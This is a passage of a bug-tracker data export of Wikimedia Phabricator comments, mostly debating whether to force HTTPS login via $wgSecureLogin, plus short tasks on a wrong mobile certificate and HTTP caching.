However, when the user clicks one of the million HTTP links (in an e-mail, on a wiki page, on IRC, elsewhere on the Web), the user will not be automagically redirected to HTTPS, he or she will _stay_ at HTTP and he or she won't be logged in any longer. This is very disorienting. The user can click ""log in"" in the corner of the page, but he or she will be transferred to Special:UserLogin over HTTPS and suddenly the user will appear to be logged in again.

In short, the issue with just setting $wgSecureLogin to true is that the user experience kind of sucks, as I understand it. (Feel free to correct me if I've misread the $wgSecureLogin-related code!)

(I'm also not sure it actually prevents form submission over HTTP [if the user navigates to the HTTP version of Special:UserLogin directly].)

If this is an acceptable situation, it's fine to set $wgSecureLogin to true on Wikimedia wikis. You'll need to get an okay from Wikimedia Foundation operations (ops) first before the change can be deployed. The load spike from logging in over HTTPS should be minimal, but the load spike from users continuing to use HTTPS after logging in will be less negligible, I think. Ops will also wants a heads-up so that there isn't an unexplained load spike."
187017,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #18)
> experience, which is why I'd rather see effort focused on fixing bug 29898.

But does this change require any other effort besides the change of an existing setting to true?",,,1346109647,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,3.0,3.0,14.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,17.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.7586206896551726,0.9310344827586207,"(In reply to comment #18)
QUOTE

But does this change require any other effort besides the change of an existing setting to true?"
187014,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #16)
> I strongly disagree with this. Right now all WMF wikis send all passwords in
> plaintext over insecure connections. That is a major security vulnerability and
> I'm surprised we haven't resolved it earlier.

All Wikimedia wikis send all passwords in plaintext? :-)  And to call this a major security vulnerability is a bit extreme as well.

But I agree with your general point about wanting a more secure user experience, which is why I'd rather see effort focused on fixing bug 29898.",,,1346109042,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-53,True,3.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,3.0,0.0,8.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,1.0,0.0,4.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,3.0,14.0,1.0,3.0,10.0,0.0,1.0,0.0,1.0,4.0,0.0,3.0,0.0,4.0,10.0,4.0,1.0,0.0,0.0,4.0,0.0,3.0,4.0,0.0,3.0,1.0,0.0,0.0,3.816901408450704,0.8450704225352113,"(In reply to comment #16)
QUOTE
QUOTE
QUOTE

All Wikimedia wikis send all passwords in plaintext? :-)  And to call this a major security vulnerability is a bit extreme as well.

But I agree with your general point about wanting a more secure user experience, which is why I'd rather see effort focused on fixing bug 29898."
187010,Set $wgSecureLogin = true; on Wikimedia wikis,"I agree with Tyler we should enforce security.

Furthermore, this becomes a best practice: Google, Yahoo! use this https for login solution.",,,1346097999,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,10.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,4.137931034482759,0.896551724137931,"I agree with Tyler we should enforce security.

Furthermore, this becomes a best practice: Google, Yahoo! use this https for login solution."
187008,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #14)
> My thoughts on this are that:
> 
> (1) we shouldn't set $wgSecureLogin until there's a user preference for HTTPS
> (bug 29898) and a cookie to kick users from HTTP back to HTTPS); and

I strongly disagree with this. Right now all WMF wikis send all passwords in plaintext over insecure connections. That is a major security vulnerability and I'm surprised we haven't resolved it earlier. Yes, it would be better if EVERYTHING was over TLS, but this is the least we can do to start enforcing a better security policy.

> (2) we shouldn't set this per-wiki as it's a complete waste of time (we'll end
> up with a dozen bugs asking for individual wiki changes until someone finally
> just sets a default; let's just set the default reasonably from the start).

I'm totally up for enabling it for all wikis as the default. (In fact, my original patchset in Gerrit did just that by accident.) So that's fine with me as long as nobody else objects.",,,1346071401,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,2.0,0.5,1.5,0.0,0.5,4.5,2.5,0.0,0.0,0.5,5.0,2.0,0.0,0.0,0.0,4.5,0.0,7.5,11.0,1.5,1.5,0.0,1.5,0.0,1.5,0.0,0.0,0.0,1.0,0.5,0.0,5.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,2.5,0.0,0.5,0.0,0.0,0.0,9.5,2.5,1.0,0.0,1.0,0.0,0.0,0.0,0.5,0.5,0.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,3.0,2.5,12.0,0.5,1.5,8.0,0.0,0.0,0.0,0.5,2.5,0.5,0.5,0.0,6.5,11.0,4.0,0.0,0.0,0.0,6.5,0.0,0.0,1.5,1.0,1.5,2.0,1.0,0.0,3.734848484848485,0.8106060606060606,"(In reply to comment #14)
QUOTE
QUOTE
QUOTE
QUOTE

I strongly disagree with this. Right now all WMF wikis send all passwords in plaintext over insecure connections. That is a major security vulnerability and I'm surprised we haven't resolved it earlier. Yes, it would be better if EVERYTHING was over TLS, but this is the least we can do to start enforcing a better security policy.

QUOTE
QUOTE
QUOTE

I'm totally up for enabling it for all wikis as the default. (In fact, my original patchset in Gerrit did just that by accident.) So that's fine with me as long as nobody else objects."
187005,Set $wgSecureLogin = true; on Wikimedia wikis,"The two bugs are two separate HTTP/HTTPS behaviors.

- bug #29898 offers the user to enforce every page is served in https://
- bug #39380 allows the user to browse in http:// but enforce login in https://",,,1346054066,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,7.0,0.0,2.0,9.0,0.0,0.0,0.0,5.0,7.0,0.0,9.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8863636363636362,0.75,"The two bugs are two separate HTTP/HTTPS behaviors.

- bug #29898 offers the user to enforce every page is served in https://
- bug #39380 allows the user to browse in http:// but enforce login in https://"
187002,Set $wgSecureLogin = true; on Wikimedia wikis,"My thoughts on this are that:

(1) we shouldn't set $wgSecureLogin until there's a user preference for HTTPS (bug 29898) and a cookie to kick users from HTTP back to HTTPS); and

(2) we shouldn't set this per-wiki as it's a complete waste of time (we'll end up with a dozen bugs asking for individual wiki changes until someone finally just sets a default; let's just set the default reasonably from the start).

I'm strongly inclined to mark this bug as a duplicate of bug 29898. Is there any reason not to?",,,1346044738,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-53,True,1.0,1.0,1.0,0.0,2.0,2.0,0.5,0.0,0.0,0.0,1.5,2.5,0.0,0.0,1.5,3.0,0.0,6.5,12.5,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,1.0,0.5,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.5,1.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,3.5,0.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,1.5,0.0,4.5,12.5,1.0,1.0,0.0,0.0,4.5,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,3.5,0.7833333333333333,"My thoughts on this are that:

(1) we shouldn't set $wgSecureLogin until there's a user preference for HTTPS (bug 29898) and a cookie to kick users from HTTP back to HTTPS); and

(2) we shouldn't set this per-wiki as it's a complete waste of time (we'll end up with a dozen bugs asking for individual wiki changes until someone finally just sets a default; let's just set the default reasonably from the start).

I'm strongly inclined to mark this bug as a duplicate of bug 29898. Is there any reason not to?"
186997,Set $wgSecureLogin = true; on Wikimedia wikis,I'm not sure. How does everybody else feel about it?,,,1345821964,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,23.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,15.0,8.0,0.0,8.0,0.0,0.0,15.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3076923076923075,1.0,I'm not sure. How does everybody else feel about it?
186991,Set $wgSecureLogin = true; on Wikimedia wikis,"Finally, do you want to enable it only on en.wiki or Wikimedia-wide?",,,1345820622,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,19.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,12.0,12.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5625,1.0,"Finally, do you want to enable it only on en.wiki or Wikimedia-wide?"
186983,Set $wgSecureLogin = true; on Wikimedia wikis,https://gerrit.wikimedia.org/r/21322,,,1345813989,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,GERRIT_URL
186977,Set $wgSecureLogin = true; on Wikimedia wikis,I would put it in wmf-config/CommonSettings.php,,,1345748405,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,20.0,10.0,20.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,I would put it in wmf-config/CommonSettings.php
186970,Set $wgSecureLogin = true; on Wikimedia wikis,"Kk, where exactly would I go about adding the option? If I'm correct, it's somewhere in operations/mediawiki-config (probably in the wmf-config directory), but I have no idea exactly where.",,,1345665463,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,7.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,7.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,9.0,11.0,2.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,3.659090909090909,0.7727272727272727,"Kk, where exactly would I go about adding the option? If I'm correct, it's somewhere in operations/mediawiki-config (probably in the wmf-config directory), but I have no idea exactly where."
186963,Set $wgSecureLogin = true; on Wikimedia wikis,"Indeed, a Gerrit change would be nice.",,,1345603682,,PHID-USER-4opnqejtv7adgswtxy67,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,1.0,"Indeed, a Gerrit change would be nice."
186960,Set $wgSecureLogin = true; on Wikimedia wikis,Do I need to make a Gerrit change for this? Or is there some other way we can move forward and do this?,,,1345603040,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,16.0,0.0,8.0,16.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,8.0,8.0,4.0,8.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.24,0.92,Do I need to make a Gerrit change for this? Or is there some other way we can move forward and do this?
186955,Set $wgSecureLogin = true; on Wikimedia wikis,See also bug 29898.,,,1345594428,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,See also bug 29898.
186952,Set $wgSecureLogin = true; on Wikimedia wikis,"IIRC, ops wasn't deeply opposed to the idea of just switching the default to https for all pages, though that would be technically more difficult to get right, I think. Login forcing seems like a good start.",,,1345044088,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-54,True,2.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,14.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,7.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,3.9767441860465116,0.8604651162790697,"IIRC, ops wasn't deeply opposed to the idea of just switching the default to https for all pages, though that would be technically more difficult to get right, I think. Login forcing seems like a good start."
186949,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #1)
> (In reply to comment #0)
> > With the exception of a few minor bugs (specifically email links),
> > $wgSecureLogin functionality is for the most part complete. Is there any reason
> > HTTPS login has not yet been enabled on enwiki?
> 
> Why just enwiki?

Figured it was a good start. I'm totally open to just enabling it outright on all language Wikipedias (or even all wikis, if that's possible).",,,1345043863,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-54,True,4.0,0.0,2.0,0.0,0.0,6.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,8.0,9.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,19.0,2.0,2.0,8.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,6.0,9.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.3207547169811322,0.6981132075471698,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Figured it was a good start. I'm totally open to just enabling it outright on all language Wikipedias (or even all wikis, if that's possible)."
186944,Set $wgSecureLogin = true; on Wikimedia wikis,"@Jarry1250 If the login in is plaintext, then the attacker grabs the victims password and can login at any time (and try to attack other services using the same username and password). If the login is over ssl, and then a user browses in plaintext, the attacker can get the user's session and impersonate the victim, but can't re-login if the session goes away, and can't use the victims password on other sites.",,,1345041656,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-54,True,1.0,0.0,0.0,0.0,2.0,3.0,1.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,3.0,3.0,8.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.9195402298850577,0.5747126436781609,"SCREEN_NAME If the login in is plaintext, then the attacker grabs the victims password and can login at any time (and try to attack other services using the same username and password). If the login is over ssl, and then a user browses in plaintext, the attacker can get the user's session and impersonate the victim, but can't re-login if the session goes away, and can't use the victims password on other sites."
186937,Set $wgSecureLogin = true; on Wikimedia wikis,I was under the impression that forcing https login is pointless if the user then browses on the insecure site - or am I wrong in that?,,,1345040614,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,18.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,7.0,7.0,4.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,18.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.892857142857143,0.8571428571428571,I was under the impression that forcing https login is pointless if the user then browses on the insecure site - or am I wrong in that?
186926,Set $wgSecureLogin = true; on Wikimedia wikis,"(In reply to comment #0)
> With the exception of a few minor bugs (specifically email links),
> $wgSecureLogin functionality is for the most part complete. Is there any reason
> HTTPS login has not yet been enabled on enwiki?

Why just enwiki?",,,1345040530,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-hcv6z6tgdzigjgp5sf5y,task_subcomment,,True,c2,1,True,,,-54,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,11.0,11.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8421052631578947,0.7894736842105263,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

Why just enwiki?"
40412,https://m.mediawiki.org/w/index.php uses the wrong certificate,"Sends a certificate for  *.m.wikipedia.org , *.wikipedia.org , wikipedia.org  . Should probably use the certificate of https://www.mediawiki.org/ (*.mediawiki.org)

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Medium,50.0,1342376580,1361358978.0,PHID-USER-cw4amt4ewxdze5qcjdca,False,,False,PHID-TASK-3vb45zykveazkgcvuiol,task_description,resolved,True,c2,1,False,False,True,-59,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,4.4,0.6666666666666666,"Sends a certificate for  *.m.wikipedia.org , *.wikipedia.org , wikipedia.org  . Should probably use the certificate of URL (*.mediawiki.org)

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
205238,https://m.mediawiki.org/w/index.php uses the wrong certificate,"**inbox** wrote:



%%%*** This bug has been marked as a duplicate of bug 34788 ***%%%",,,1361358978,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-3vb45zykveazkgcvuiol,task_subcomment,,True,c2,1,False,,,-27,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.3548387096774195,0.5161290322580645,"**inbox** wrote:



%%%*** This bug has been marked as a duplicate of bug 34788 ***%%%"
205230,https://m.mediawiki.org/w/index.php uses the wrong certificate,Dupe of bug 34788?,,,1350100746,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-3vb45zykveazkgcvuiol,task_subcomment,,True,c2,1,True,,,-46,True,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Dupe of bug 34788?
40168,extract2.php: Implement HTTP 304 caching for www portals,"The last modified timestamp is available and already being included:

header( 'Cache-Control: s-maxage=3600, must-revalidate, max-age=0' );
